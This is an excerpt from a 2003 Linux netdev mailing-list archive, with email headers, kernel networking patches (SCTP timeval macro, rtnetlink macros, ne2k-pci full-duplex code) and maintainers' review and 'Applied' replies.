X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2984 Lines: 92 On Sat, 20 Sep 2003, Arnaldo Carvalho de Melo wrote: > Em Fri, Sep 19, 2003 at 11:39:09PM -0700, David S. Miller escreveu: > > On Fri, 19 Sep 2003 15:15:53 -0700 (PDT) > > Sridhar Samudrala wrote: > > > > > But unfortunately i am not able see this problem with a parisc64 cross compiler > > > on i386. So it makes it hard to debug or fix it. Looks like this happens only > > > when building natively on a parisc64 machine which i don't have access to. > > > > Did you build with or without SMP enabled? > > Yes, here I'm building without SMP enabled. I also started seeing this problem when i enabled CONFIG_64BIT with the cross-compiler. > > > Anyways, try to work with Arnaldo to figure out the precise statement > > causing the problems. > > The problem is right at: > > tv_add(&asoc->cookie_life, &cookie->c.expiration); > > Please send any patch you come up with, I'll be happy to test it. The problem seems to be the static inline routine tv_add. When i converted it into a regular function or a macro, the problem went away. May be parisc64 compiler has some issues with static inlines. Arnaldo, Could you please try out this patch which converts tv_add() to a macro TIMEVAL_ADD() Thanks Sridhar ----------------------------------------------------------------------------- diff -Nru a/include/net/sctp/sctp.h b/include/net/sctp/sctp.h --- a/include/net/sctp/sctp.h Mon Sep 22 14:40:46 2003 +++ b/include/net/sctp/sctp.h Mon Sep 22 14:40:46 2003 @@ -495,22 +495,19 @@ #define tv_lt(s, t) \ (s.tv_sec < t.tv_sec || (s.tv_sec == t.tv_sec && s.tv_usec < t.tv_usec)) -/* Stolen from net/profile.h. Using it from there is more grief than - * it is worth. - */ -static inline void tv_add(const struct timeval *entered, struct timeval *leaved) -{ - time_t usecs = leaved->tv_usec + entered->tv_usec; - time_t secs = leaved->tv_sec + entered->tv_sec; - - if (usecs >= 1000000) { - usecs -= 1000000; - secs++; - } - leaved->tv_sec = secs; - leaved->tv_usec = usecs; -} - +/* Add tv1 to tv2. */ +#define TIMEVAL_ADD(tv1, tv2) \ +({ \ + suseconds_t usecs = (tv2).tv_usec + (tv1).tv_usec; \ + time_t secs = (tv2).tv_sec + (tv1).tv_sec; \ +\ + if (usecs >= 1000000) { \ + usecs -= 1000000; \ + secs++; \ + } \ + (tv2).tv_sec = secs; \ + (tv2).tv_usec = usecs; \ +}) /* External references. */ diff -Nru a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c --- a/net/sctp/sm_make_chunk.c Mon Sep 22 14:40:46 2003 +++ b/net/sctp/sm_make_chunk.c Mon Sep 22 14:40:46 2003 @@ -1288,7 +1288,7 @@ /* Set an expiration time for the cookie. */ do_gettimeofday(&cookie->c.expiration); - tv_add(&asoc->cookie_life, &cookie->c.expiration); + TIMEVAL_ADD(asoc->cookie_life, cookie->c.expiration); /* Copy the peer's init packet. */ memcpy(&cookie->c.peer_init[0], init_chunk->chunk_hdr, ----------------------------------------------------------------------------- From ja@ssi.bg Mon Sep 22 15:38:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 15:38:36 -0700 (PDT) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MMcSFx019724 for ; Mon, 22 Sep 2003 15:38:30 -0700 Received: from localhost (IDENT:ja@localhost [127.0.0.1]) by u.domain.uli (8.11.6/8.11.6) with ESMTP id h8MMcPx02955; Tue, 23 Sep 2003 01:38:26 +0300 Date: Tue, 23 Sep 2003 01:38:25 +0300 (EEST) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: Stephen Hemminger cc: Wensong Zhang , , Subject: Re: [PATCH] (3/6) ipvs -- use list_for_each_entry macro's In-Reply-To: <20030922110346.054aadb8.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 155 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 389 Lines: 19 Hello, On Mon, 22 Sep 2003, Stephen Hemminger wrote: > Thank you for your observations. Here are my comments. > Followup message is a patch to restore the missing pieces. I see it, it looks good, thank you. > Why don't you make up a patch with your changes to gcd and list_for_each_entry_continue? Yes, I'll do it in the following days. Regards -- Julian Anastasov From ja@ssi.bg Mon Sep 22 15:54:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 15:54:05 -0700 (PDT) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MMrvFx020150 for ; Mon, 22 Sep 2003 15:53:59 -0700 Received: from localhost (IDENT:ja@localhost [127.0.0.1]) by u.domain.uli (8.11.6/8.11.6) with ESMTP id h8MMrqx03002; Tue, 23 Sep 2003 01:53:52 +0300 Date: Tue, 23 Sep 2003 01:53:52 +0300 (EEST) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: Rusty Russell cc: "David S. Miller" , Stephen Hemminger , Wensong Zhang , , Subject: Re: Fw: Re: [PATCH] (6/6) ipvs -- get rid of skb_linearize In-Reply-To: <20030922145239.976AE2C244@lists.samba.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 156 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 1096 Lines: 37 Hello, On Tue, 23 Sep 2003, Rusty Russell wrote: > > better the following stuff to be included now. Rusty, Dave? Is > > someone willing to review this before inclusion? > > Sure... > > > http://www.ssi.bg/~ja/ipvs-2.6.0-test2/readme.txt > > > - at least struct iphdr in first fragment, not shared > > > > - ip_defrag is already called, so ip_send_check is still needed > > > > - then we add all needed checks for read and write access and extending > > the first fragment > > Alexey's advice was not to pull packets we don't modify, but use > skb_copy_bits, and use skb_ip_make_writable() where we do modify. > This means that you don't have to care about shared or cloned skbs, it > makes your intentions explicit, and it's more future-proof. > > It's more invasive, but my experience with doing netfilter_ipv4 was > that it made things much neater when finished. It helps to get rid of > lots of the temporary variables, too, I've found (too easy to forget > to update them). Ok, thank you Rusty! We will need some time to check the changes... Regards -- Julian Anastasov From shemminger@osdl.org Mon Sep 22 16:40:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 16:40:45 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MNecFx023604 for ; Mon, 22 Sep 2003 16:40:39 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8MNeQU26125; Mon, 22 Sep 2003 16:40:26 -0700 Date: Mon, 22 Sep 2003 16:36:39 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] 2/3 rtnetlink -- RTA_PUT unlikely. Message-Id: <20030922163639.6d7ac30f.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 157 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1181 Lines: 29 RTA_PUT should normally be handed enough space, so optimize diff -Nru a/include/linux/rtnetlink.h b/include/linux/rtnetlink.h --- a/include/linux/rtnetlink.h Mon Sep 22 16:14:19 2003 +++ b/include/linux/rtnetlink.h Mon Sep 22 16:14:19 2003 @@ -642,8 +642,9 @@ extern void __rta_fill(struct sk_buff *skb, int attrtype, int attrlen, const void *data); #define RTA_PUT(skb, attrtype, attrlen, data) \ -({ if (skb_tailroom(skb) < (int)RTA_SPACE(attrlen)) goto rtattr_failure; \ - __rta_fill(skb, attrtype, attrlen, data); }) +({ if (unlikely(skb_tailroom(skb) < (int)RTA_SPACE(attrlen))) \ + goto rtattr_failure; \ + __rta_fill(skb, attrtype, attrlen, data); }) static inline struct rtattr * __rta_reserve(struct sk_buff *skb, int attrtype, int attrlen) @@ -658,8 +659,9 @@ } #define __RTA_PUT(skb, attrtype, attrlen) \ -({ if (skb_tailroom(skb) < (int)RTA_SPACE(attrlen)) goto rtattr_failure; \ - __rta_reserve(skb, attrtype, attrlen); }) +({ if (unlikely(skb_tailroom(skb) < (int)RTA_SPACE(attrlen))) \ + goto rtattr_failure; \ + __rta_reserve(skb, attrtype, attrlen); }) extern void rtmsg_ifinfo(int type, struct net_device *dev, unsigned change); From shemminger@osdl.org Mon Sep 22 16:40:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 16:40:45 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MNecFx023603 for ; Mon, 22 Sep 2003 16:40:39 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8MNeQU26131; Mon, 22 Sep 2003 16:40:26 -0700 Date: Mon, 22 Sep 2003 16:39:46 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (3/3) rtnetlink -- ASSERT_RTNL and BUG_TRAP Message-Id: <20030922163946.5854bb8e.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 159 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1177 Lines: 35 Change ASSERT_RTNL and BUG_TRAP - unlikely to occur - tag message as error - dump_stack in ASSERT_RTNL to aide finding code path - make all format's which a smart compiler can optimize diff -Nru a/include/linux/rtnetlink.h b/include/linux/rtnetlink.h --- a/include/linux/rtnetlink.h Mon Sep 22 16:31:24 2003 +++ b/include/linux/rtnetlink.h Mon Sep 22 16:31:24 2003 @@ -683,11 +683,21 @@ extern void rtnl_unlock(void); extern void rtnetlink_init(void); -#define ASSERT_RTNL() do { if (down_trylock(&rtnl_sem) == 0) { up(&rtnl_sem); \ -printk("RTNL: assertion failed at " __FILE__ "(%d)\n", __LINE__); } \ - } while(0) -#define BUG_TRAP(x) if (!(x)) { printk("KERNEL: assertion (" #x ") failed at " __FILE__ "(%d)\n", __LINE__); } +#define ASSERT_RTNL() do { \ + if (unlikely(down_trylock(&rtnl_sem) == 0)) { \ + up(&rtnl_sem); \ + printk(KERN_ERR "RTNL: assertion failed at %s (%d)\n", \ + __FILE__, __LINE__); \ + dump_stack(); \ + } \ +} while(0) +#define BUG_TRAP(x) do { \ + if (unlikely(!(x))) { \ + printk(KERN_ERR "KERNEL: assertion (%s) failed at %s (%d)\n", \ + #x, __FILE__ , __LINE__); \ + } \ +} while(0) #endif /* __KERNEL__ */ From shemminger@osdl.org Mon Sep 22 16:40:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 16:40:45 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MNecFx023605 for ; Mon, 22 Sep 2003 16:40:39 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8MNePU26114; Mon, 22 Sep 2003 16:40:25 -0700 Date: Mon, 22 Sep 2003 16:35:15 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] 1/3 rtnetlink -- rtattr_strcmp const args. Message-Id: <20030922163515.2cfd254e.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 158 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 528 Lines: 14 trivial, rtattr_strcmp doesn't modify its arguments diff -Nru a/include/linux/rtnetlink.h b/include/linux/rtnetlink.h --- a/include/linux/rtnetlink.h Mon Sep 22 15:53:29 2003 +++ b/include/linux/rtnetlink.h Mon Sep 22 15:53:29 2003 @@ -618,7 +618,7 @@ #include -static __inline__ int rtattr_strcmp(struct rtattr *rta, char *str) +static __inline__ int rtattr_strcmp(const struct rtattr *rta, const char *str) { int len = strlen(str) + 1; return len > rta->rta_len || memcmp(RTA_DATA(rta), str, len); From p_gortmaker@yahoo.com Mon Sep 22 19:40:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 19:40:42 -0700 (PDT) Received: from gold.muskoka.com (gold.muskoka.com [216.123.107.5]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N2eQFx032441 for ; Mon, 22 Sep 2003 19:40:27 -0700 Received: from yahoo.com (ppp105.muskoka.com [216.123.108.115]) by gold.muskoka.com (8.12.3/8.12.3/Debian-6.4) with ESMTP id h8N2ercM021156; Mon, 22 Sep 2003 22:40:54 -0400 Message-ID: <3F6FA043.6010503@yahoo.com> Date: Mon, 22 Sep 2003 21:22:11 -0400 From: Paul Gortmaker User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.3.1) Gecko/20030425 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com CC: jgarzik@pobox.com, becker@scyld.com Subject: [PATCH] ne2k-pci full duplex with RealTek Content-Type: multipart/mixed; boundary="------------090600040809030300080702" X-archive-position: 160 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: p_gortmaker@yahoo.com Precedence: bulk X-list: netdev Content-Length: 2778 Lines: 101 This is a multi-part message in MIME format. --------------090600040809030300080702 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit A while ago Mika Liljeberg dug through the RTL8029.doc and sent me the sequence to enable full duplex for these after testing it worked OK. The current sequence is just a copy of the Holtek sequence and apparently doesn't work. While updateing the sequence, I separated out the FDX code from ne2k_pci_open() for enhanced readability and so that it may also be called from other code paths eventually (e.g. ethtool) Patch is against 2.6.0-test5. Thanks, Paul. --------------090600040809030300080702 Content-Type: text/plain; name="2.6-test5-ne2k-diff0" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="2.6-test5-ne2k-diff0" --- linux/drivers/net/ne2k-pci.c Mon Sep 8 12:51:03 2003 +++ linux-net/drivers/net/ne2k-pci.c Mon Sep 22 21:00:14 2003 @@ -26,8 +26,8 @@ */ #define DRV_NAME "ne2k-pci" -#define DRV_VERSION "1.02" -#define DRV_RELDATE "10/19/2000" +#define DRV_VERSION "1.03" +#define DRV_RELDATE "9/22/2003" /* The user-configurable values. @@ -380,21 +380,48 @@ } +/* + * Magic incantation sequence for full duplex on the supported cards. + */ +static inline int set_realtek_fdx(struct net_device *dev) +{ + long ioaddr = dev->base_addr; + + outb(0xC0 + E8390_NODMA, ioaddr + NE_CMD); /* Page 3 */ + outb(0xC0, ioaddr + 0x01); /* Enable writes to CONFIG3 */ + outb(0x40, ioaddr + 0x06); /* Enable full duplex */ + outb(0x00, ioaddr + 0x01); /* Disable writes to CONFIG3 */ + outb(E8390_PAGE0 + E8390_NODMA, ioaddr + NE_CMD); /* Page 0 */ + return 0; +} + +static inline int set_holtek_fdx(struct net_device *dev) +{ + long ioaddr = dev->base_addr; + + outb(inb(ioaddr + 0x20) | 0x80, ioaddr + 0x20); + return 0; +} + +static int ne2k_pci_set_fdx(struct net_device *dev) +{ + if (ei_status.ne2k_flags & REALTEK_FDX) + return set_realtek_fdx(dev); + else if (ei_status.ne2k_flags & HOLTEK_FDX) + return set_holtek_fdx(dev); + + return -EOPNOTSUPP; +} + static int ne2k_pci_open(struct net_device *dev) { int ret = request_irq(dev->irq, ei_interrupt, SA_SHIRQ, dev->name, dev); if (ret) return ret; - /* Set full duplex for the chips that we know about. */ - if (ei_status.ne2k_flags & FORCE_FDX) { - long ioaddr = dev->base_addr; - if (ei_status.ne2k_flags & REALTEK_FDX) { - outb(0xC0 + E8390_NODMA, ioaddr + NE_CMD); /* Page 3 */ - outb(inb(ioaddr + 0x20) | 0x80, ioaddr + 0x20); - } else if (ei_status.ne2k_flags & HOLTEK_FDX) - outb(inb(ioaddr + 0x20) | 0x80, ioaddr + 0x20); - } + if (ei_status.ne2k_flags & FORCE_FDX) + ne2k_pci_set_fdx(dev); + ei_open(dev); return 0; } --------------090600040809030300080702-- From mitch@sfgoth.com Mon Sep 22 21:37:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 21:38:12 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N4bYFx007337 for ; Mon, 22 Sep 2003 21:37:55 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9p1/8.12.9) with ESMTP id h8N4jD16018010; Mon, 22 Sep 2003 21:45:13 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9p1/8.12.6/Submit) id h8N4jBex018007; Mon, 22 Sep 2003 21:45:11 -0700 (PDT) (envelope-from mitch) Date: Mon, 22 Sep 2003 21:45:11 -0700 From: Mitchell Blank Jr To: Christoph Hellwig Cc: chas williams , davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lanai] ioctl only meant for debugging (from mitch@sfgoth.com) Message-ID: <20030923044511.GB15907@gaz.sfgoth.com> References: <200309221755.h8MHt5kT010184@ginger.cmf.nrl.navy.mil> <20030922190017.A27677@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030922190017.A27677@infradead.org> User-Agent: Mutt/1.4.1i X-archive-position: 161 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Content-Length: 874 Lines: 29 Christoph Hellwig wrote (in two different emails): > Umm, shouldn't you just ifdef out the whole function and it's > assignment to the operations vector? This looks horribly ugly.. Sorry for any ugliness - its my fault. I personally don't think it really makes a difference either way. Its already #ifdef'ed the same way in 2.6. > and > third your (void)arg crap is ugly as hell. (what compiler do you have > that complains about this, btw, gcc 3.3 doesn't..). "gcc -Wunused-parameter" It's true that the kernel doesn't compile with that option but I've gotten in the habit of adding the "(void) x;" from working on other projects that do. I think it's pretty harmless. > #if FOO > foo_ioctl() > { > } > #else > #define foo_ioctl NULL > #endif Yes, that would probably be (a bit) cleaner. That's what we already use for lanai_proc_read if !CONFIG_PROC_FS -Mitch From davem@pizda.ninka.net Tue Sep 23 04:11:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 04:11:13 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NBB7Fx028403 for ; Tue, 23 Sep 2003 04:11:08 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id DAA32420; Tue, 23 Sep 2003 03:58:14 -0700 Date: Tue, 23 Sep 2003 03:58:13 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: update link in documentation Message-Id: <20030923035813.744feb3c.davem@redhat.com> In-Reply-To: <200309221704.h8MH48kT009115@ginger.cmf.nrl.navy.mil> References: <200309221704.h8MH48kT009115@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 164 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 137 Lines: 6 On Mon, 22 Sep 2003 13:04:10 -0400 chas williams wrote: > please apply to 2.4. --thanks Applied, thanks Chas. From davem@pizda.ninka.net Tue Sep 23 04:10:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 04:10:34 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NBASFx028183 for ; Tue, 23 Sep 2003 04:10:28 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id DAA32388; Tue, 23 Sep 2003 03:57:29 -0700 Date: Tue, 23 Sep 2003 03:57:29 -0700 From: "David S. Miller" To: chas williams Cc: hch@infradead.org, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lanai] ioctl only meant for debugging (from mitch@sfgoth.com) Message-Id: <20030923035729.2aa1afd6.davem@redhat.com> In-Reply-To: <200309221755.h8MHt5kT010184@ginger.cmf.nrl.navy.mil> References: <20030922180749.A26432@infradead.org> <200309221755.h8MHt5kT010184@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 163 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 295 Lines: 8 On Mon, 22 Sep 2003 13:55:07 -0400 chas williams wrote: > i suppose i am not convinced that two #ifdef/#endif's are better than an > #if/#else/#endif True, but how about we use an LANAI_DEBUG or something instead of "#if 0" that can sit undef'd at the top of the file? From davem@pizda.ninka.net Tue Sep 23 04:09:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 04:09:57 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NB9eFx028102 for ; Tue, 23 Sep 2003 04:09:40 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id DAA32373; Tue, 23 Sep 2003 03:56:08 -0700 Date: Tue, 23 Sep 2003 03:56:08 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [he] possibly using corrupted structure (from felipewd@terra.com.br) Message-Id: <20030923035608.689254e6.davem@redhat.com> In-Reply-To: <200309221452.h8MEqokT005989@ginger.cmf.nrl.navy.mil> References: <200309221452.h8MEqokT005989@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 162 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 150 Lines: 6 On Mon, 22 Sep 2003 10:52:52 -0400 chas williams wrote: > please apply to both 2.4 and 2.6. --thanks Applied, thanks Chas. From davem@pizda.ninka.net Tue Sep 23 04:12:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 04:13:02 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NBCoFx029088 for ; Tue, 23 Sep 2003 04:12:50 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id DAA32463; Tue, 23 Sep 2003 03:59:51 -0700 Date: Tue, 23 Sep 2003 03:59:51 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: ja@ssi.bg, wensong@linux-vs.org, lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: Re: [PATCH] ipvs -- fix error's in list_for_each changes. Message-Id: <20030923035951.63d89345.davem@redhat.com> In-Reply-To: <20030922112204.225e1a98.shemminger@osdl.org> References: <20030916141750.53bbb04e.shemminger@osdl.org> <20030922112204.225e1a98.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 165 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 221 Lines: 7 On Mon, 22 Sep 2003 11:22:04 -0700 Stephen Hemminger wrote: > The earlier list_for_each changes introduced a couple of bugs where > lines got dropped. This restores them. Applied, thanks Stephen. From davem@pizda.ninka.net Tue Sep 23 04:13:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 04:13:30 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NBDPFx029376 for ; Tue, 23 Sep 2003 04:13:25 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id EAA32493; Tue, 23 Sep 2003 04:00:30 -0700 Date: Tue, 23 Sep 2003 04:00:30 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] 1/3 rtnetlink -- rtattr_strcmp const args. Message-Id: <20030923040030.4afc88f6.davem@redhat.com> In-Reply-To: <20030922163515.2cfd254e.shemminger@osdl.org> References: <20030922163515.2cfd254e.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 166 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 155 Lines: 6 On Mon, 22 Sep 2003 16:35:15 -0700 Stephen Hemminger wrote: > trivial, rtattr_strcmp doesn't modify its arguments Applied, thanks. From davem@pizda.ninka.net Tue Sep 23 04:13:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 04:14:01 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NBDtFx029650 for ; Tue, 23 Sep 2003 04:13:55 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id EAA32515; Tue, 23 Sep 2003 04:01:00 -0700 Date: Tue, 23 Sep 2003 04:01:00 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] 2/3 rtnetlink -- RTA_PUT unlikely. Message-Id: <20030923040100.5d44db47.davem@redhat.com> In-Reply-To: <20030922163639.6d7ac30f.shemminger@osdl.org> References: <20030922163639.6d7ac30f.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 167 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 156 Lines: 6 On Mon, 22 Sep 2003 16:36:39 -0700 Stephen Hemminger wrote: > RTA_PUT should normally be handed enough space, so optimize Applied. From davem@pizda.ninka.net Tue Sep 23 04:15:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 04:15:44 -0700 (PDT) Received: from 